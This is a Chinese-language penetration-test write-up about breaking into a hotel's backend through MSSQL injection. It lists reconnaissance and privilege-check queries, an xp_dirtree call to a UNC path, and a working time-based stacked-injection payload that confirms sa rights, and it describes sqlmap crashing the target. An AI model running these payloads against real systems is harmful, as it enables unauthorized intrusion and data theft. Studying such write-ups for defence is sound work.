12-08 某老弟求助,客户让他打个目标,他没有渗透经验;刚好没啥事,就帮老弟看了看,确实有搞头。
0x01 前言
目标已经主机上线,可以提权,经历了10天的洗礼,学到了很多很多,言归正传,先说说渗透中学到的。
0x02 查找相关资产
通过Fofa,导出目标C段,放到AWVS批量扫,(利用AWVS的表单填充)
发现是某酒店的后台,
通过burp抓包,发现是mssql,输入单引号,返回500,我想运维人员猜测到是功能点出了问题,但没想到是sqli。
12-08 17: 35 然后直接给表弟发消息,说找到一个sqli,可能有搞头.
12-08 17: 38 表第: 牛逼啊,xxxx,拿下有重谢。
说了一堆,吹的我飘飘的,最近也没啥事,刚好看看。
0x03.发现注入点是sa
由于平时对mssql不了解,18号下班后回去补了点相关内容。
命令内容直接参看谢公子写的博客,(本来是付费的)
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring(‘string’,2,1) #截取给定字符串的索引为2的1个字符
select ascii(‘a’) #查询给定字符串的ascii值
select len(‘string’) #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N’TRUE’; #查询当前数据库的大小
sp_spaceused ‘表名’ #查询指定表名的大小
EXEC master.sys.xp_dirtree ‘\192.168.106.5\xx.txt’,0,1;
判断是否是SA权限
select is_srvrolemember(‘sysadmin’)
判断是否是db_owner权限
select is_member(‘db_owner’)
判断是否是public权限
select is_srvrolemember(‘public’)
由于这里是盲注,通过awvs的扫描结果知道支持堆叠,构造payload:
User=1’;if((select is_srvrolemember(‘sysadmin’)=1))%20waitfor%20delay%20’0:0:2’–%20 延时3秒,说明权限为sa。
然后花时间做些不痛不痒的探测,当时做的啥也不清楚了。
探测mssql有大于7个库,延时2秒
探测 mssql库的个数为18,延时2秒
到这里后,通过goby插件探测到目标机上没有waf,好家伙,直接掏出sqlmap,看看
结果sqlmap直接把目标跑崩了,??